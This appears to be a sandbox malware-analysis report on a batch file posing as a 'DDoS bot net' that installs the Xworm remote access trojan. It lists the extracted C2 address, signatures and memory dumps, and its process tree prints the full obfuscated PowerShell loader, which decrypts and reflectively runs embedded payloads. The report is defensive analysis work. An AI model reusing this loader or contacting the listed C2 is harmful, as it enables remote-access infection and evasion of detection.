Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    03/04/2026, 05:58

General

  • Target
    DDoS bot net xM3L8.bat
  • Size 366KB
  • Sample260403-gpcghsd16z
  • SHA256 7d147dc5f1df92fb23d871b4166bda38da143d71ddb5295698ce0d2647accf3f
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • xworm

C2
  • 147.185.221.26:43608

Mutex
  • AkxIrgiU3dJxutSi

Attributes
  • install_file

    USB.exe

aes.plain

Signatures

  • Detect Xworm Payload 1 IoCs
  • Detects DonutLoader 1 IoCs
  • DonutLoader

    DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.

  • Donutloader family
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Badlisted process makes network request 64 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

    Clear Windows Event Logs to hide the activity of an intrusion.

  • Modifies data under HKEY_USERS 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 52 IoCs

Processes

  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k DcomLaunch -p
    1⤵
      PID:828
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k RPCSS -p
      1⤵
        PID:976
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
        1⤵
          PID:400
        • C:\Windows\System32\svchost.exe
          C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
          1⤵
            PID:464
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
            1⤵
              PID:1032
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
              1⤵
                PID:1116
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                1⤵
                  PID:1180
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
                  1⤵
                    PID:1212
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                    1⤵
                      PID:1220
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
                      1⤵
                        PID:1260
                      • C:\Windows\System32\svchost.exe
                        C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
                        1⤵
                          PID:1296
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                          1⤵
                            PID:1344
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                            1⤵
                              PID:1356
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                              1⤵
                                PID:1564
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                                1⤵
                                  PID:1596
                                • C:\Windows\System32\svchost.exe
                                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                                  1⤵
                                  • Indicator Removal: Clear Windows Event Logs
                                  PID:1636
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                  1⤵
                                    PID:1728
                                  • C:\Windows\System32\svchost.exe
                                    C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                    1⤵
                                      PID:1748
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                      1⤵
                                        PID:1864
                                      • C:\Windows\system32\svchost.exe
                                        C:\Windows\system32\svchost.exe -k NetworkService -p
                                        1⤵
                                          PID:1876
                                        • C:\Windows\System32\svchost.exe
                                          C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                          1⤵
                                            PID:1900
                                          • C:\Windows\system32\svchost.exe
                                            C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                            1⤵
                                              PID:2004
                                            • C:\Windows\System32\svchost.exe
                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                              1⤵
                                                PID:2028
                                              • C:\Windows\System32\svchost.exe
                                                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                1⤵
                                                  PID:1604
                                                • C:\Windows\system32\svchost.exe
                                                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                  1⤵
                                                    PID:716
                                                  • C:\Windows\System32\svchost.exe
                                                    C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                    1⤵
                                                      PID:2092
                                                    • C:\Windows\system32\svchost.exe
                                                      C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                      1⤵
                                                        PID:2128
                                                      • C:\Windows\system32\svchost.exe
                                                        C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
                                                        1⤵
                                                          PID:2284
                                                        • C:\Windows\System32\svchost.exe
                                                          C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                          1⤵
                                                            PID:2364
                                                          • C:\Windows\system32\svchost.exe
                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                            1⤵
                                                              PID:2552
                                                            • C:\Windows\system32\svchost.exe
                                                              C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                              1⤵
                                                                PID:2560
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k NetworkService -p
                                                                1⤵
                                                                  PID:2576
                                                                • C:\Windows\System32\svchost.exe
                                                                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                                  1⤵
                                                                    PID:2672
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                    1⤵
                                                                      PID:2704
                                                                    • C:\Windows\System32\svchost.exe
                                                                      C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                      1⤵
                                                                        PID:2712
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                                        1⤵
                                                                          PID:2720
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                          1⤵
                                                                            PID:2728
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                            1⤵
                                                                              PID:2448
                                                                            • C:\Windows\Explorer.EXE
                                                                              C:\Windows\Explorer.EXE
                                                                              1⤵
                                                                              • Suspicious behavior: GetForegroundWindowSpam
                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                              PID:3124
                                                                              • C:\Windows\system32\cmd.exe
                                                                                C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\DDoS bot net xM3L8.bat"
                                                                                2⤵
                                                                                • Suspicious use of WriteProcessMemory
                                                                                PID:1052
                                                                                • C:\Windows\system32\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('brYTBwVZiHGHsa8X4gvTh8wm7LKTHHWA1Xc3+gs280g='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ftO7Z85vxVu02Y3A/7YWag=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $DPDpj=New-Object System.IO.MemoryStream(,$param_var); $Ezfbu=New-Object System.IO.MemoryStream; $yOEix=New-Object System.IO.Compression.GZipStream($DPDpj, [IO.Compression.CompressionMode]::Decompress); $yOEix.CopyTo($Ezfbu); $yOEix.Dispose(); $DPDpj.Dispose(); $Ezfbu.Dispose(); $Ezfbu.ToArray();}function execute_function($param_var,$param2_var){ $RbFjh=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $MzzAC=$RbFjh.EntryPoint; $MzzAC.Invoke($null, $param2_var);}$jjFJr = 'C:\Users\Admin\AppData\Local\Temp\DDoS bot net xM3L8.bat';$host.UI.RawUI.WindowTitle = $jjFJr;$wDDVA=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($jjFJr).Split([Environment]::NewLine);foreach ($pqTGk in $wDDVA) { if ($pqTGk.StartsWith('IFszFTIhZgNwChgqBOMD')) { $ZwLhz=$pqTGk.Substring(20); break; }}$payloads_var=[string[]]$ZwLhz.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                                                                                  3⤵
                                                                                    PID:2112
                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                                                                                    3⤵
                                                                                    • Badlisted process makes network request
                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    • Suspicious use of WriteProcessMemory
                                                                                    PID:1236
                                                                              • C:\Windows\system32\svchost.exe
                                                                                C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                1⤵
                                                                                  PID:3252
                                                                                • C:\Windows\system32\svchost.exe
                                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
                                                                                  1⤵
                                                                                    PID:3304
                                                                                  • C:\Windows\system32\svchost.exe
                                                                                    C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
                                                                                    1⤵
                                                                                      PID:3776
                                                                                    • C:\Windows\system32\svchost.exe
                                                                                      C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
                                                                                      1⤵
                                                                                        PID:4200
                                                                                      • C:\Windows\system32\svchost.exe
                                                                                        C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                        1⤵
                                                                                          PID:2592
                                                                                        • C:\Windows\System32\svchost.exe
                                                                                          C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                          1⤵
                                                                                            PID:3260
                                                                                          • C:\Windows\system32\svchost.exe
                                                                                            C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                            1⤵
                                                                                              PID:4988
                                                                                            • C:\Windows\system32\svchost.exe
                                                                                              C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                              1⤵
                                                                                              • Modifies data under HKEY_USERS
                                                                                              PID:2124
                                                                                            • C:\Windows\System32\svchost.exe
                                                                                              C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                              1⤵
                                                                                                PID:1068
                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                1⤵
                                                                                                  PID:2296
                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                                  1⤵
                                                                                                    PID:4984

                                                                                                  Network

                                                                                                        MITRE ATT&CK Enterprise v16

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                                                                                                        __PSScriptPolicyTest_2jl3tc15.s0p.ps1

                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2jl3tc15.s0p.ps1
                                                                                                        • Size 60B
                                                                                                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                                                                        • MD5 SHA1 SHA512 TLSH

                                                                                                        memory/716-105-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

                                                                                                        memory/716-104-0x000002814B870000-0x000002814B89B000-memory.dmp

                                                                                                        memory/976-75-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

                                                                                                        memory/976-74-0x000001DDC2190000-0x000001DDC21BB000-memory.dmp

                                                                                                        memory/1068-125-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

                                                                                                        memory/1068-124-0x0000021B64FA0000-0x0000021B64FCB000-memory.dmp

                                                                                                        memory/1116-100-0x0000024F7CD70000-0x0000024F7CD9B000-memory.dmp

                                                                                                        memory/1116-101-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

                                                                                                        memory/1180-68-0x00000221B5C00000-0x00000221B5C2B000-memory.dmp

                                                                                                        memory/1180-69-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

                                                                                                        memory/1236-13-0x0000021968380000-0x000002196838E000-memory.dmp

                                                                                                        memory/1236-9-0x0000021968110000-0x0000021968120000-memory.dmp

                                                                                                        memory/1236-12-0x00000219683E0000-0x0000021968426000-memory.dmp

                                                                                                        memory/1236-0-0x0000021968110000-0x0000021968120000-memory.dmp

                                                                                                        memory/1236-8-0x00000219682D0000-0x00000219682F2000-memory.dmp

                                                                                                        memory/1236-11-0x0000021968370000-0x0000021968378000-memory.dmp

                                                                                                        memory/1236-10-0x0000021968390000-0x00000219683D6000-memory.dmp

                                                                                                        memory/1236-166-0x0000021968110000-0x0000021968120000-memory.dmp

                                                                                                        memory/1236-1-0x0000021968110000-0x0000021968120000-memory.dmp

                                                                                                        memory/1236-167-0x0000021968110000-0x0000021968120000-memory.dmp

                                                                                                        memory/1236-165-0x0000021968110000-0x0000021968120000-memory.dmp

                                                                                                        memory/1260-126-0x0000021D85F80000-0x0000021D85FAB000-memory.dmp

                                                                                                        memory/1296-109-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

                                                                                                        memory/1296-108-0x00000259DA8B0000-0x00000259DA8DB000-memory.dmp

                                                                                                        memory/1344-82-0x00000266842D0000-0x00000266842FB000-memory.dmp

                                                                                                        memory/1344-83-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

                                                                                                        memory/1356-77-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

                                                                                                        memory/1356-76-0x000001D935B30000-0x000001D935B5B000-memory.dmp

                                                                                                        memory/1564-73-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

                                                                                                        memory/1564-72-0x0000024C5C390000-0x0000024C5C3BB000-memory.dmp

                                                                                                        memory/1604-92-0x000001A879170000-0x000001A87919B000-memory.dmp

                                                                                                        memory/1604-93-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

                                                                                                        memory/1748-79-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

                                                                                                        memory/1748-78-0x0000025D49790000-0x0000025D497BB000-memory.dmp

                                                                                                        memory/1864-120-0x0000015A30D50000-0x0000015A30D7B000-memory.dmp

                                                                                                        memory/1864-121-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

                                                                                                        memory/1876-118-0x0000018A83F20000-0x0000018A83F4B000-memory.dmp

                                                                                                        memory/1876-119-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

                                                                                                        memory/1900-103-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

                                                                                                        memory/1900-102-0x000001DCD6B90000-0x000001DCD6BBB000-memory.dmp

                                                                                                        memory/2092-110-0x000001BB1C940000-0x000001BB1C96B000-memory.dmp

                                                                                                        memory/2092-111-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

                                                                                                        memory/2124-85-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

                                                                                                        memory/2124-84-0x0000029347530000-0x000002934755B000-memory.dmp

                                                                                                        memory/2284-113-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

                                                                                                        memory/2284-112-0x0000020232940000-0x000002023296B000-memory.dmp

                                                                                                        memory/2296-98-0x0000025350B30000-0x0000025350B5B000-memory.dmp

                                                                                                        memory/2296-99-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

                                                                                                        memory/2448-123-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

                                                                                                        memory/2448-122-0x000001FC074E0000-0x000001FC0750B000-memory.dmp

                                                                                                        memory/2552-71-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

                                                                                                        memory/2552-70-0x0000019E6E940000-0x0000019E6E96B000-memory.dmp

                                                                                                        memory/2560-67-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

                                                                                                        memory/2560-66-0x000001FB75AF0000-0x000001FB75B1B000-memory.dmp

                                                                                                        memory/2672-114-0x0000018A04580000-0x0000018A045AB000-memory.dmp

                                                                                                        memory/2672-115-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

                                                                                                        memory/2704-94-0x00000150F8BC0000-0x00000150F8BEB000-memory.dmp

                                                                                                        memory/2704-95-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

                                                                                                        memory/2712-89-0x000002C4EC1D0000-0x000002C4EC1FB000-memory.dmp

                                                                                                        memory/2712-91-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

                                                                                                        memory/2720-86-0x0000021185570000-0x000002118559B000-memory.dmp

                                                                                                        memory/2720-87-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

                                                                                                        memory/2728-80-0x0000018A1C000000-0x0000018A1C02B000-memory.dmp

                                                                                                        memory/2728-81-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

                                                                                                        memory/3124-65-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

                                                                                                        memory/3124-14-0x0000000003E60000-0x0000000003E8A000-memory.dmp

                                                                                                        memory/3124-64-0x0000000002C70000-0x0000000002C9B000-memory.dmp

                                                                                                        memory/3260-117-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

                                                                                                        memory/3260-116-0x000001E39F800000-0x000001E39F82B000-memory.dmp

                                                                                                        memory/3304-88-0x00000159B45C0000-0x00000159B45EB000-memory.dmp

                                                                                                        memory/3304-90-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

                                                                                                        memory/4984-106-0x000001B8274C0000-0x000001B8274EB000-memory.dmp

                                                                                                        memory/4984-107-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

                                                                                                        memory/4988-96-0x0000024C80B60000-0x0000024C80B8B000-memory.dmp

                                                                                                        memory/4988-97-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp